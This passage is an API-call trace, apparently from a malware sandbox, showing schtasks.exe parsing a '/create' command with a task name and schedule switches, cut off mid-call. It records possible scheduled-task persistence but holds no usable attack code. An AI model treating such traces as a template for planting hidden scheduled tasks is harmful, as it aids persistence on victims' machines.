lplpBuffer=0xdc2a8, puLen=0xdc298 | out: lplpBuffer=0xdc2a8*=0x22df18, puLen=0xdc298) returned 1 [0131.512] lstrlenW (lpString="schtasks.exe") returned 12 [0131.512] lstrlenW (lpString="schtasks.exe") returned 12 [0131.512] lstrlenW (lpString=".EXE") returned 4 [0131.512] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0131.512] lstrlenW (lpString="schtasks.exe") returned 12 [0131.512] lstrlenW (lpString=".EXE") returned 4 [0131.512] lstrlenW (lpString="schtasks") returned 8 [0131.512] lstrlenW (lpString="/create") returned 7 [0131.512] _memicmp (_Buf1=0x22ba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.513] _vsnwprintf (in: _Buffer=0x22bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc218 | out: _Buffer="schtasks /create") returned 16 [0131.513] _memicmp (_Buf1=0x22ba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.513] GetProcessHeap () returned 0x210000 [0131.513] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd50 [0131.513] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.513] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0131.513] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0131.513] GetProcessHeap () returned 0x210000 [0131.513] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x30) returned 0x227a90 [0131.513] _vsnwprintf (in: _Buffer=0x22bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc218 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0131.513] GetProcessHeap () returned 0x210000 [0131.513] GetProcessHeap () returned 0x210000 [0131.513] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dd50) returned 1 [0131.513] GetProcessHeap () returned 0x210000 [0131.513] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dd50) returned 0x74e [0131.514] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dd50 | out: hHeap=0x210000) returned 1 [0131.514] SetLastError (dwErrCode=0x0) [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="create") returned 6 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="?") returned 1 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="s") returned 1 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="u") returned 1 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="p") returned 1 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.514] lstrlenW (lpString="ru") returned 2 [0131.514] GetThreadLocale () returned 0x409 [0131.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="rp") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="sc") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="mo") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="d") returned 1 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="m") returned 1 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="i") returned 1 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="tn") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="tr") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="st") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.515] lstrlenW (lpString="sd") returned 2 [0131.515] GetThreadLocale () returned 0x409 [0131.515] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="ed") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="it") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="et") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="k") returned 1 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="du") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="ri") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="z") returned 1 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="f") returned 1 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="v1") returned 2 [0131.516] GetThreadLocale () returned 0x409 [0131.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.516] lstrlenW (lpString="xml") returned 3 [0131.516] GetThreadLocale () returned 0x409 [0131.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.517] lstrlenW (lpString="ec") returned 2 [0131.517] GetThreadLocale () returned 0x409 [0131.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.517] lstrlenW (lpString="rl") returned 2 [0131.517] GetThreadLocale () returned 0x409 [0131.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.517] lstrlenW (lpString="delay") returned 5 [0131.517] GetThreadLocale () returned 0x409 [0131.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.517] lstrlenW (lpString="np") returned 2 [0131.517] SetLastError (dwErrCode=0x0) [0131.517] SetLastError (dwErrCode=0x0) [0131.517] lstrlenW (lpString="/create") returned 7 [0131.517] lstrlenW (lpString="-/") returned 2 [0131.517] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.517] lstrlenW (lpString="create") returned 6 [0131.517] lstrlenW (lpString="create") returned 6 [0131.517] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.517] lstrlenW (lpString="create") returned 6 [0131.517] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.517] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.517] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.517] lstrlenW (lpString="|create|") returned 8 [0131.517] lstrlenW (lpString="|create|") returned 8 [0131.517] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0131.517] SetLastError (dwErrCode=0x0) [0131.517] SetLastError (dwErrCode=0x0) [0131.517] SetLastError (dwErrCode=0x0) [0131.518] lstrlenW (lpString="/tn") returned 3 [0131.518] lstrlenW (lpString="-/") returned 2 [0131.518] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.518] lstrlenW (lpString="create") returned 6 [0131.518] lstrlenW (lpString="create") returned 6 [0131.518] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.518] lstrlenW (lpString="tn") returned 2 [0131.518] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.518] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.518] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.518] lstrlenW (lpString="|create|") returned 8 [0131.518] lstrlenW (lpString="|tn|") returned 4 [0131.518] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0131.518] SetLastError (dwErrCode=0x490) [0131.518] lstrlenW (lpString="?") returned 1 [0131.518] lstrlenW (lpString="?") returned 1 [0131.518] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.518] lstrlenW (lpString="tn") returned 2 [0131.518] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.518] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|?|") returned 3 [0131.518] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.518] lstrlenW (lpString="|?|") returned 3 [0131.518] lstrlenW (lpString="|tn|") returned 4 [0131.518] SetLastError (dwErrCode=0x490) [0131.518] lstrlenW (lpString="s") returned 1 [0131.518] lstrlenW (lpString="s") returned 1 [0131.518] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] lstrlenW (lpString="tn") returned 2 [0131.519] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|s|") returned 3 [0131.519] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.519] lstrlenW (lpString="|s|") returned 3 [0131.519] lstrlenW (lpString="|tn|") returned 4 [0131.519] SetLastError (dwErrCode=0x490) [0131.519] lstrlenW (lpString="u") returned 1 [0131.519] lstrlenW (lpString="u") returned 1 [0131.519] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] lstrlenW (lpString="tn") returned 2 [0131.519] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|u|") returned 3 [0131.519] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.519] lstrlenW (lpString="|u|") returned 3 [0131.519] lstrlenW (lpString="|tn|") returned 4 [0131.519] SetLastError (dwErrCode=0x490) [0131.519] lstrlenW (lpString="p") returned 1 [0131.519] lstrlenW (lpString="p") returned 1 [0131.519] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] lstrlenW (lpString="tn") returned 2 [0131.519] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.519] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|p|") returned 3 [0131.519] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.519] lstrlenW (lpString="|p|") returned 3 [0131.519] lstrlenW (lpString="|tn|") returned 4 [0131.520] SetLastError (dwErrCode=0x490) [0131.520] lstrlenW (lpString="ru") returned 2 [0131.520] lstrlenW (lpString="ru") returned 2 [0131.520] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.520] lstrlenW (lpString="tn") returned 2 [0131.520] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.520] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ru|") returned 4 [0131.520] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.520] lstrlenW (lpString="|ru|") returned 4 [0131.520] lstrlenW (lpString="|tn|") returned 4 [0131.520] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0131.520] SetLastError (dwErrCode=0x490) [0131.520] lstrlenW (lpString="rp") returned 2 [0131.520] lstrlenW (lpString="rp") returned 2 [0131.520] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.520] lstrlenW (lpString="tn") returned 2 [0131.520] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.520] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|rp|") returned 4 [0131.520] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.520] lstrlenW (lpString="|rp|") returned 4 [0131.520] lstrlenW (lpString="|tn|") returned 4 [0131.520] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0131.520] SetLastError (dwErrCode=0x490) [0131.520] lstrlenW (lpString="sc") returned 2 [0131.520] lstrlenW (lpString="sc") returned 2 [0131.520] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] lstrlenW (lpString="tn") returned 2 [0131.521] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.521] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.521] lstrlenW (lpString="|sc|") returned 4 [0131.521] lstrlenW (lpString="|tn|") returned 4 [0131.521] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0131.521] SetLastError (dwErrCode=0x490) [0131.521] lstrlenW (lpString="mo") returned 2 [0131.521] lstrlenW (lpString="mo") returned 2 [0131.521] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] lstrlenW (lpString="tn") returned 2 [0131.521] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.521] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.521] lstrlenW (lpString="|mo|") returned 4 [0131.521] lstrlenW (lpString="|tn|") returned 4 [0131.521] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0131.521] SetLastError (dwErrCode=0x490) [0131.521] lstrlenW (lpString="d") returned 1 [0131.521] lstrlenW (lpString="d") returned 1 [0131.521] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] lstrlenW (lpString="tn") returned 2 [0131.521] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.521] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|d|") returned 3 [0131.521] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.522] lstrlenW (lpString="|d|") returned 3 [0131.522] lstrlenW (lpString="|tn|") returned 4 [0131.522] SetLastError (dwErrCode=0x490) [0131.522] lstrlenW (lpString="m") returned 1 [0131.522] lstrlenW (lpString="m") returned 1 [0131.522] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.522] lstrlenW (lpString="tn") returned 2 [0131.522] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.522] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|m|") returned 3 [0131.522] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.522] lstrlenW (lpString="|m|") returned 3 [0131.522] lstrlenW (lpString="|tn|") returned 4 [0131.522] SetLastError (dwErrCode=0x490) [0131.522] lstrlenW (lpString="i") returned 1 [0131.522] lstrlenW (lpString="i") returned 1 [0131.522] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.522] lstrlenW (lpString="tn") returned 2 [0131.522] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.522] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|i|") returned 3 [0131.522] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.522] lstrlenW (lpString="|i|") returned 3 [0131.522] lstrlenW (lpString="|tn|") returned 4 [0131.522] SetLastError (dwErrCode=0x490) [0131.522] lstrlenW (lpString="tn") returned 2 [0131.522] lstrlenW (lpString="tn") returned 2 [0131.522] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.522] lstrlenW (lpString="tn") returned 2 [0131.523] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.523] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.523] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.523] lstrlenW (lpString="|tn|") returned 4 [0131.523] lstrlenW (lpString="|tn|") returned 4 [0131.523] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0131.523] SetLastError (dwErrCode=0x0) [0131.523] SetLastError (dwErrCode=0x0) [0131.523] lstrlenW (lpString="but inside saveb") returned 16 [0131.523] lstrlenW (lpString="-/") returned 2 [0131.523] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0131.523] SetLastError (dwErrCode=0x490) [0131.523] SetLastError (dwErrCode=0x490) [0131.523] SetLastError (dwErrCode=0x0) [0131.523] lstrlenW (lpString="but inside saveb") returned 16 [0131.523] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0131.523] SetLastError (dwErrCode=0x490) [0131.523] SetLastError (dwErrCode=0x0) [0131.523] lstrlenW (lpString="but inside saveb") returned 16 [0131.523] SetLastError (dwErrCode=0x0) [0131.523] SetLastError (dwErrCode=0x0) [0131.523] lstrlenW (lpString="/sc") returned 3 [0131.523] lstrlenW (lpString="-/") returned 2 [0131.523] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.523] lstrlenW (lpString="create") returned 6 [0131.523] lstrlenW (lpString="create") returned 6 [0131.523] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.523] lstrlenW (lpString="sc") returned 2 [0131.523] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.524] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.524] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.524] lstrlenW (lpString="|create|") returned 8 [0131.524] lstrlenW (lpString="|sc|") returned 4 [0131.524] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0131.524] SetLastError (dwErrCode=0x490) [0131.524] lstrlenW (lpString="?") returned 1 [0131.524] lstrlenW (lpString="?") returned 1 [0131.524] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.524] lstrlenW (lpString="sc") returned 2 [0131.524] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.524] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|?|") returned 3 [0131.524] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.524] lstrlenW (lpString="|?|") returned 3 [0131.524] lstrlenW (lpString="|sc|") returned 4 [0131.524] SetLastError (dwErrCode=0x490) [0131.524] lstrlenW (lpString="s") returned 1 [0131.524] lstrlenW (lpString="s") returned 1 [0131.524] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.524] lstrlenW (lpString="sc") returned 2 [0131.524] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.524] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|s|") returned 3 [0131.524] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.524] lstrlenW (lpString="|s|") returned 3 [0131.524] lstrlenW (lpString="|sc|") returned 4 [0131.524] SetLastError (dwErrCode=0x490) [0131.525] lstrlenW (lpString="u") returned 1 [0131.525] lstrlenW (lpString="u") returned 1 [0131.525] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] lstrlenW (lpString="sc") returned 2 [0131.525] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|u|") returned 3 [0131.525] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.525] lstrlenW (lpString="|u|") returned 3 [0131.525] lstrlenW (lpString="|sc|") returned 4 [0131.525] SetLastError (dwErrCode=0x490) [0131.525] lstrlenW (lpString="p") returned 1 [0131.525] lstrlenW (lpString="p") returned 1 [0131.525] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] lstrlenW (lpString="sc") returned 2 [0131.525] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|p|") returned 3 [0131.525] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.525] lstrlenW (lpString="|p|") returned 3 [0131.525] lstrlenW (lpString="|sc|") returned 4 [0131.525] SetLastError (dwErrCode=0x490) [0131.525] lstrlenW (lpString="ru") returned 2 [0131.525] lstrlenW (lpString="ru") returned 2 [0131.525] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] lstrlenW (lpString="sc") returned 2 [0131.525] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.525] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ru|") returned 4 [0131.526] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.526] lstrlenW (lpString="|ru|") returned 4 [0131.526] lstrlenW (lpString="|sc|") returned 4 [0131.526] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0131.526] SetLastError (dwErrCode=0x490) [0131.526] lstrlenW (lpString="rp") returned 2 [0131.526] lstrlenW (lpString="rp") returned 2 [0131.526] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.526] lstrlenW (lpString="sc") returned 2 [0131.526] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.526] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|rp|") returned 4 [0131.526] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.526] lstrlenW (lpString="|rp|") returned 4 [0131.526] lstrlenW (lpString="|sc|") returned 4 [0131.526] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0131.526] SetLastError (dwErrCode=0x490) [0131.526] lstrlenW (lpString="sc") returned 2 [0131.526] lstrlenW (lpString="sc") returned 2 [0131.526] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.526] lstrlenW (lpString="sc") returned 2 [0131.526] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.526] _vsnwprintf (in: _Buffer=0x22c220, 